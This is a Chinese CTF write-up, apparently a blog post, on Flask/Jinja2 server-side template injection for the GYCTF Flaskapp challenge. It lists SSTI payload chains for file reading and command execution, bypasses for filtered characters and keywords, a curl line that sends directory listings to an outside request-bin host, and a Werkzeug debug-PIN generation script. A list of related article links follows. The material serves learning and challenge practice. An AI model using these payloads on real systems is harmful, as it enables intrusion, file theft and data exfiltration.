题目复现传送门

学习链接:

找了个师傅的blog先学习一下基础的flask知识

https://www.freebuf.com/column/187845.html(从零学flask)

简单记录一下:

flask 中渲染的方法有两种:

render_template
render_template_string

两者的区别:

render_template()渲染指定的文件

render_template_string()渲染指定的字符串

不正确的使用render_template_string()可能会引发SSTI

模板:

flask使用jinja2作为渲染引擎,在网站的根目录下templates文件夹用来存放html文件(模板文件)

{{}}在jinja2中作为变量包裹标识符,不仅可以传递变量同时也可以执行简单的表达式

SSTI文件读取/命令执行/文件包含

通过python的对象的继承来一步步实现文件读取和命令执行!!!!!!!!!!!!!!!!!!!!

找到父类<type 'object'>–>寻找子类–>找关于命令执行或者文件操作的模块

重要的魔术方法

__class__  返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法(找到重载过的__init__类(在获取初始化属性后,带wrapper的说明没有重载,寻找不带warpper的))
__globals__ 对包含函数全局变量的字典的引用
__dict__ 保存类实例或对象实例的属性变量键值对字典
__bases__ 返回类型列表
__builtins__查看其引用

下面记录内容转自!!!!!!!!!!!!!!!!!!!!!:

浅析SSTI(python沙盒绕过)

感谢师傅的blog讲的很详细!!!!!!

攻击流程(以文件读取举例):

获取基本类-->获取基本类的子类-->找到重载过的__init__类-->查看其引用__builtins__(builtins即是引用,Python程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于builtins却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块)-->这里会返回dict类型,寻找keys中可以调用的函数,直接调用,使用keys中的file以实现读取功能

''.__class__.__mro__[].__subclasses__()[].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()

写文件的话就是把后面的read改为write即可(中括号中的数字是“引索”)

命令执行:...........

绕过方法:

1.绕过中括号和     .      :只过滤[ ]时:pop()函数,若也过滤     .   则使用JinJa2函数|attr()

''.__class__.__mro__.__getitem__().__subclasses__().pop()('/etc/passwd').read()
request.__class__改成request|attr("__class__")

2.过滤引号:request.args属性 (是flask中的一个属性,为返回请求的参数,这里把path当作变量名,将后面的路径传值进来,进而绕过了引号的过滤)

{{().__class__.__bases__.__getitem__().__subclasses__().pop()(request.args.path).read()}}&path=/etc/passwd

3.过滤双下划线:request.args属性,request.values是利用POST传参

GET:
{{ ''[request.value.class][request.value.mro][][request.value.subclasses]()[]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__

4.过滤关键字:base64编码绕过,__getattribute__(使用实例访问属性时,调用该方法)

例如过滤__class__

{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[]("/etc/passwd").read()}}

字符串拼接绕过

{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[]("/etc/passwd").read()}}

5.过滤 {{

使用 {% if ... %}1{% endif %}

{% if ''.__class__.__mro__[].__subclasses__()[].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / |  grep flag`;') %}{% endif %}

如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出

{% if ''.__class__.__mro__[].__subclasses__()[]('/tmp/test').read()[:]=='p' %}{% endif %}

相关题型:科来杯-easy_flask,QCTF-Confustion1

学习:

探索Flask/Jinja2中的服务端模版注入(一)

探索Flask/Jinja2中的服务端模版注入(二)

flask/jinja2 SSTI入门

Server-Side Template Injection

第二种方法

pin码:

这个题还牵扯到pin码

什么是pin码:  关于PIN码,是在Flask开启debug模式时存在的一个交互shell的key,输入PIN码就可以进入交互shell

爆破pin码:

由于生成PIN码的机制,可以达到脚本爆破效果,只要已知username,machine-id的等等6个参数,就可以爆破PIN码。还需要一个文件读取点做为跳板
//随后补不//
 
 

题目复现:

方法一:SSTI 在decode界面提交base64编码过的payload可以触发SSTI,
看源码可以发现是py3.7的环境,需要Fuzz我们可以使用的类
这里按着师傅的思路,使用wrap_close(),然后再调用popen()
查看目录:
{{ [].__class__.__base__.__subclasses__()[].__init__.__globals__['po'+'pen']('ls').read()}}

读取flag(flag被过滤,用fla\g绕过)

{{ [].__class__.__base__.__subclasses__()[].__init__.__globals__['po'+'pen']('cat  this_is_the_fla\g.txt').read()}}

在BUU重新复现的时候发现,这个payload用不了,因为popen被ban了,我们这样也没有绕过去,那就考虑文件读取,但是不知道flag文件位置啊,所以只有第二种构造pin值了

方法二:

官方wp给出了思路

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/passwd', 'r').read() }}{% endif %}{% endfor %}

构造pin值的关键值::

* . 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb

* . modname 一般不变就是flask.app

* . getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变

* . flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3./site-packages/flask/app.py

* .当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:

* .最后一个就是机器的id。

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取/proc/self/cgroup

学习思路:

https://www.gem-love.com/ctf/1669.html#i-4

先贴个师傅的脚本:

脚本出处:https://xz.aliyun.com/t/2553

import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb',# username
'flask.app',
'Flask',
'/usr/local/lib/python3.7/site-packages/flask/app.py'
] private_bits = [
'2485377957891',# address
'e96996169e90130c1b6e2b3fb9af5b39abcacc1b1f84211a58e27854c3a1219e'# machine-id
] h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)

GYCTF Flaskapp[SSTI模板注入 ]的更多相关文章

  1. XFF SSTI 模板注入 [BJDCTF2020]The mystery of ip

    转自https://www.cnblogs.com/wangtanzhi/p/12328083.html SSTI模板注入:之前也写过:https://www.cnblogs.com/wangtanz ...

  2. SSTI(模板注入)

    SSTI 一. 什么是SSTI 模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档. ...

  3. 2018护网杯easy_tornado(SSTI tornado render模板注入)

    考点:SSTI注入 原理: tornado render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页,如果用户对render内容可控,不仅可以注入XSS代码,而且 ...

  4. SSTI(服务器模板注入)学习

    SSTI(服务器模板注入)学习 0x01 SSTI概念 SSTI看到ss两个字母就会想到服务器,常见的还有SSRF(服务器端请求伪造).SSTI就是服务器端模板注入(Server-Side Templ ...

  5. SSTI服务器模板注入(以及关于渲染,solt的学习)&&[BJDCTF2020]The mystery of ip 1

    ssti服务器模板注入 ssti:利用公共 Web 框架的服务器端模板作为攻击媒介的攻击方式,该攻击利用了嵌入模板的用户输入方式的弱点.SSTI 攻击可以用来找出 Web 应用程序的内容结构. slo ...

  6. 1. SSTI(模板注入)漏洞(入门篇)

    好久没更新博客了,现在主要在作源码审计相关工作,在工作中也遇到了各种语言导致的一些SSTI,今天就来大概说一下SSTI模板注入这个老生常谈的漏洞 前言 模板引擎 模板引擎(这里特指用于Web开发的模板 ...

  7. CTF SSTI(服务器模板注入)

    目录 基础 一些姿势 1.config 2.self 3.[].() 3.url_for, g, request, namespace, lipsum, range, session, dict, g ...

  8. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

  9. Flask(Jinja2) 服务端模板注入漏洞(SSTI)

    flask Flask 是一个 web 框架.也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序.这个 wdb 应用程序可以使一些 web 页面.博客.wiki.基于 we ...

随机推荐

  1. vagrant相关

    无法挂载共享目录,报错如下 Vagrant was unable to mount VirtualBox shared folders. This is usually because the fil ...

  2. .NET Core WebAPI post参数传递时后端的接收方式

    .NET Core WebAPI post参数传递时后端的接收方式 实体类 dynamic动态类型 JObject参数 单值参数(字符串参数) A.前端Post请求代码 $.ajax({ url: & ...

  3. Virus:病毒查杀

    简介 小伙伴们,大家好,今天分享一次Linux系统杀毒的经历,还有个人的一些总结,希望对大家有用. 这次遇到的是一个挖矿的病毒,在挖一种叫门罗币(XMR)的数字货币,行情走势请看 https://ww ...

  4. String、StringBuffer和StringBuilder总结

    String String类是不可变(final)的,对String类的任何改变,都是返回一个新的String类对象. StringBuffer 当对字符串进行修改的时候,需要使用 StringBuf ...

  5. 从底层入手,解析字节码增强和Btrace应用

    这篇文章聊下字节码和相关的应用. 1.机器码和字节码 机器码(machine code),学名机器语言指令,有时也被称为原生码(Native Code),是电脑的CPU可直接解读的数据. 通常意义上来 ...

  6. CentOS7下部署rsync服务

    说明: 在CentOS7下部署rsync服务和在CentOS6上部署基本上是一样的,只是CentOS7自带了rsyncd启动脚本,由systemd管理而已. rsync服务端配置 [root@SERV ...

  7. 使用Java, AppleScript对晓黑板进行自动打卡

    使用Java, AppleScript对晓黑板进行自动打卡 由于我们学校要求每天7点起床打卡,但是实在做不到,遂写了这个脚本. 绪论 由于晓黑板不支持网页版,只能使用App进行打卡,所以我使用网易的安 ...

  8. localStorage 存储

    localStorage 的优势 localStorage 拓展了 cookie 的 4K 限制. localStorage 会可以将第一次请求的数据直接存储到本地,这个相当于一个 5M 大小的针对于 ...

  9. 1Python学习CentOS 7 Linux环境搭建

    鉴于python3目前已成流行之势,而各发行版Linux依然是自带python2.x,笔者尝试在centos7下,部署Python3.x与2.x共存环境 本文参考博主良哥95网址https://blo ...

  10. App自动化测试环境搭建

    只做记录和注意点,详细内容不做解释 环境:win+appium+夜神模拟器+python 需要用到的工具: 1.java JDK 2. node.js 3. Android SDK 4.Appium- ...